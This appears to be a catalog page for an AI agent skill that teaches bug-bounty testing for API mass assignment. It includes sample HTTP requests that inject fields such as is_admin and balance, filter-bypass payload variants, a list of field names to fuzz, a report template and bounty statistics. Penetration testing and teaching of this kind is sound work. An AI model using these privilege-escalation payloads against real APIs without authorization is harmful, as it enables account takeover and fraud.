Install
$ agentstack add skill-ak-cybe-awesome-offensive-security-skills-mass-assignment-exploitation ✓ scanned · ✓ verified — works with Claude Code, Cursor, and more.
Security review
✓ PassedNo issues found. Passed automated security review. · v0.1.0 How review works →
- ✓ Prompt-injection patterns
- ✓ Secret / credential exfiltration
- ✓ Dangerous shell & filesystem operations
- ✓ Untrusted network calls
- ✓ Known-malicious package signatures
What it can access
- ✓ Network access No
- ✓ Filesystem access No
- ✓ Shell / process execution No
- ✓ Environment & secrets No
- ✓ Dynamic code execution No
From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.
About
API Mass Assignment Exploitation
When to Use
- When testing APIs (REST, GraphQL) that directly bind client input (e.g., JSON payloads) to backend database models without proper whitelisting or DTO (Data Transfer Object) separation.
- To discover if hidden, internal, or administrative fields can be updated by an unprivileged user.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Object Inspection
# Concept: Analyze the API response for an unprivileged user GET /api/v1/users/me HTTP/1.1
Host: api.target.app
Authorization: Bearer
# Response {
"id": 123,
"username": "tester",
"email": "tester@example.com",
"is_admin": false,
"balance": 0.00
}
Phase 2: Injecting Hidden Fields in PUT/POST Requests
# PUT /api/v1/users/me HTTP/1.1
Host: api.target.app
Content-Type: application/json
Authorization: Bearer
{
"username": "tester2",
"is_admin": true,
"balance": 9999.00
}
Phase 3: Bypassing Filters using Payload Variations
// { "username": "tester", "isAdmin": "true" }
{ "username": "tester", "user": { "is_admin": true } }
{ "username": "tester", "role": "admin" }
Phase 4: Fuzzing for Hidden Fields
If the response doesn't leak internal field names, fuzz using common patterns.
# is_admin, isAdmin, role, roles, permissions, privs, status, verified, account_type, credit
Decision Point 🔀
flowchart TD
A[Inspect Response Object ] --> B{Sensitive Fields Found? ]}
B -->|Yes| C[Re-inject in POST/PUT ]
B -->|No| D[Fuzz Common Hidden Fields ]
C --> E[Verify Update/PrivEsc ]
🔵 Blue Team Detection & Defense
- Strict Data Transfer Objects (DTOs): Explicit Whitelisting: API Schema Validation: Key Concepts
| Concept | Description | |---------|-------------|
Output Format
Mass Assignment Exploitation — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
💰 Industry Bounty Payout Statistics (2024-2025)
| Company/Platform | Total Paid | Highest Single | Year | |-----------------|------------|---------------|------| | Google VRP | $17.1M | $250,000 (CVE-2025-4609 Chrome sandbox escape) | 2025 | | Microsoft | $16.6M | (Not disclosed) | 2024 | | Google VRP | $11.8M | $100,115 (Chrome MiraclePtr Bypass) | 2024 | | HackerOne (all programs) | $81M | $100,050 (crypto firm) | 2025 | | Meta/Facebook | $2.3M | up to $300K (mobile code execution) | 2024 | | Crypto.com (HackerOne) | $2M program | $2M max | 2024 | | 1Password (Bugcrowd) | $1M max | $1M (highest Bugcrowd ever) | 2024 | | Samsung | $1M max | $1M (critical mobile flaws) | 2025 |
Key Takeaway: Google alone paid $17.1M in 2025 — a 40% increase YoY. Microsoft paid $16.6M. The industry is paying more, not less. Average critical bounty on HackerOne: $3,700 (2023).
📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see: > - [_shared/references/elite-chaining-strategy.md](../shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns > - [_shared/references/elite-report-writing.md](../shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference > - [_shared/references/real-world-bounties.md](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
References
- OWASP API Security Risk: API6:2019 Mass Assignment
- PortSwigger: Mass Assignment
Source & license
This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.
- Author: Ak-cybe
- Source: Ak-cybe/awesome-offensive-security-skills
- License: Apache-2.0
- Homepage: https://ak-cybe.github.io/cybersecurity-agent-skill
Install and usage instructions live in the source repository linked above.
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Versions
- v0.1.0 Imported from the upstream source.